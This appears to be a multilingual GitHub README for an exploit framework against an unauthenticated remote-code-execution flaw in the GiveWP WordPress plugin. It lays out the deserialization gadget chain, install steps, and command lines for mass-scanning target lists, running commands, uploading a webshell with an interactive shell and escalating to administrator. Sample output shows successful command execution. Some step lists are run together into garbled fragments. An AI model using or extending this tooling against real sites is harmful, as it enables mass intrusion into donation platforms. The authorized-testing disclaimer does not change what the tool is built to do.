إطار عمل استغلال لـ CVE-2026-82222، وهو ثغرة تنفيذ برمجي عن بُعد (RCE) غير مصادق عليها في إضافة GiveWP الخاصة بووردبريس. يدعم الفحص الجماعي، والاكتشاف التلقائي، وتعدد الخيوط، وإخراج بصيغة JSON/TXT، وقشرة تفاعلية للاختبار المصرح به.
CVE-2026-82222 - GiveWP Unauthenticated RCE Exploit
Mass Scanner + Auto-Detection + Multi-Threading + Interactive Shell
GHOSTLYR00T هو إطار عمل استغلال لثغرة CVE-2026-82222، وهي ثغرة حقن كائنات PHP في إضافة GiveWP الخاصة بووردبريس والتي تتيح تنفيذ الأوامر عن بُعد (RCE) دون مصادقة. تدعم هذه الأداة المسح الجماعي والاكتشاف التلقائي والطرفية التفاعلية.
🔴 CVSS 9.8 - حرجة (CRITICAL)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Fitur | Deskripsi |
|---|---|
| Mass Scan | Scan ratusan target dari file (-f targets.txt) |
| Auto-Detection | Deteksi otomatis form ID, gateway, dan amount donasi |
| Multi-Threading | Scan paralel dengan thread configurable (--threads) |
| Check Mode | Fingerprint cepat tanpa exploit (--check) |
| JSON Output | Export hasil ke JSON (--json) |
| TXT Output | Export hasil ke TXT ringkas (--txt) |
| Interactive Shell | Upload webshell + terminal interaktif |
| Admin Escalation | Auto-escalate user ke administrator |
| Progress Bar | Monitor real-time proses scanning |
| Colored Output | Output dengan warna dan format profesional |
| Feature | Description |
|---|---|
| Mass Scan | Scan hundreds of targets from file (-f targets.txt) |
| Auto-Detection | Auto-detects form ID, gateway, and donation amount |
| Multi-Threading | Parallel scanning with configurable threads |
| Check Mode | Fast fingerprint without exploitation (--check) |
| JSON Output | Export results to JSON (--json) |
| TXT Output | Export results to TXT (--txt) |
| Interactive Shell | Upload webshell + interactive terminal |
| Admin Escalation | Auto-escalate user to administrator |
| Progress Bar | Real-time scan progress monitoring |
| Colored Output | Professional colored terminal output |
| Aspek | Detail |
|---|---|
| Affected Versions | GiveWP <= 4.16.7.1 |
| Patched Versions | GiveWP >= 4.16.7.2 |
| Attack Vector | Network (AV:N) |
| Privileges Required | None (PR:N) |
| Impact | Complete System Compromise |
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
# 1. Clone repository git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. Install dependencies pip install requests urllib3 # 3. Tes apakah berhasil python3 poc.py -h
# 1. Clone repository git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. Install dependencies pip install requests urllib3 # 3. Test if successful python3 poc.py -h
| Parameter | Fungsi | Contoh |
|---|---|---|
-f, --file | File target (batch mode) | -f targets.txt |
--threads | Jumlah thread (default: 4) | --threads 10 |
--json | Export hasil ke JSON | --json hasil.json |
--txt | Export hasil ke TXT | --txt hasil.txt |
-c, --command | Command yang dieksekusi | -c "id" |
-g, --gateway | Force gateway tertentu | -g stripe |
-a, --amount | Force amount donasi | -a 25.00 |
-t, --triggers | Retry attempts (default: 4) | -t 5 |
--timeout | Timeout per request (default: 30s) | --timeout 60 |
--check | Fingerprint only | --check |
--upload-shell | Upload webshell | --upload-shell |
-i, --interactive | Interactive terminal | -i |
-v, --verbose | Verbose output | -v |
--no-color | Disable colored output | --no-color |
| Parameter | Function | Example |
|---|---|---|
-f, --file | Target file (batch mode) | -f targets.txt |
--threads | Number of threads (default: 4) | --threads 10 |
--json | Export results to JSON | --json results.json |
--txt | Export results to TXT | --txt results.txt |
-c, --command | Command to execute | -c "id" |
-g, --gateway | Force specific gateway | -g stripe |
-a, --amount | Force donation amount | -a 25.00 |
-t, --triggers | Retry attempts (default: 4) | -t 5 |
--timeout | Request timeout (default: 30s) | --timeout 60 |
--check | Fingerprint only | --check |
--upload-shell | Upload webshell | --upload-shell |
-i, --interactive | Interactive terminal | -i |
-v, --verbose | Verbose output | -v |
--no-color | Disable colored output | --no-color |
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt hasil_check.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt check_results.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
# GiveWP Vulnerability Scan Results (Fingerprint Mode) # Generated: 2026-09-09 12:00:00 # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6 # # Format: TARGET | VERSION | STATUS # https://target1.com | 4.15.4 | VULNERABLE https://target2.com | 4.14.6 | VULNERABLE
{
"timestamp": 1694265600,
"mode": "exploit",
"total": 10,
"vulnerable": 4,
"exploited": 3,
"failed": 7,
"results": [
{
"target": "https://target1.com",
"status": "exploited",
"version": "4.15.4",
"command_output": "uid=33(www-data) gid=33(www-data)"
}
]
}
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
readme.txt وgive.phpgive_action=user_registerlast_name الوصفيةgive_last لتفعيل إلغاء التسلسل# Gateway detection order
CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
'paypalexpress', 'authorize', 'razorpay', 'mollie']
Amount detection order
AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00',
'100.00', '250.00', '500.00']
readme.txt and give.phpgive_action=user_registerlast_name metadatagive_last to trigger deserialization| Pertanyaan | Jawaban |
|---|---|
| Versi GiveWP apa yang rentan? | GiveWP <= 4.16.7.1. Versi 4.16.7.2 dan di atasnya sudah patched. |
Kenapa harus -a 25? | Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force. |
| Bisa digunakan di production? | TIDAK. Hanya untuk authorized testing. |
| Kenapa registrasi gagal (HTTP 200)? | Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+. |
| Question | Answer |
|---|---|
| Which GiveWP versions are vulnerable? | GiveWP <= 4.16.7.1. Version 4.16.7.2 and above are patched. |
Why use -a 25? | Some forms have minimum amounts. Tool auto-detects, but can be forced. |
| Can this be used in production? | NO. For authorized testing only. |
| Why registration fails (HTTP 200)? | Target may have registration disabled, WAF active, or version 4.16.6+. |
هذه الأداة مخصصة لأبحاث الأمن فقط!
⚠️ غير قانوني: الوصول إلى الخوادم دون إذن = جريمة جنائية
⚠️ قانون الجرائم الإلكترونية: انتهاك المواد 30-32 المتعلقة بالوصول غير المصرح به
⚠️ للاستخدام المصرح به فقط: اختبار أنظمتك الخاصة أو بإذن كتابي
⚠️ المسؤولية: المستخدمون مسؤولون بالكامل عن استخدام هذه الأداة
استخدم بحكمة ومسؤولية!
THIS TOOL IS FOR SECURITY RESEARCH ONLY!
⚠️ Illegal: Accessing servers without permission = criminal offense
⚠️ Legal Risk: Violates computer fraud laws
⚠️ Authorized use only: Testing your own systems or with written permission
⚠️ Responsibility: Users are fully responsible for their use of this tool
USE WISELY AND RESPONSIBLY!
Copyright © 2026 GhostlyrootB2H
Didistribusikan di bawah lisensi MIT.
Copyright © 2026 GhostlyrootB2H
Distributed under the MIT License.
GhostlyrootB2H
🐙 GitHub: @GhostlyrootB2H
🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
Tools ini untuk pembelajaran dan pengujian keamanan.
Jangan gunakan untuk aktivitas ilegal!
🇬🇧 Thank you for using GHOSTLYR00T!
For learning and security testing only.
Do not use for illegal activities!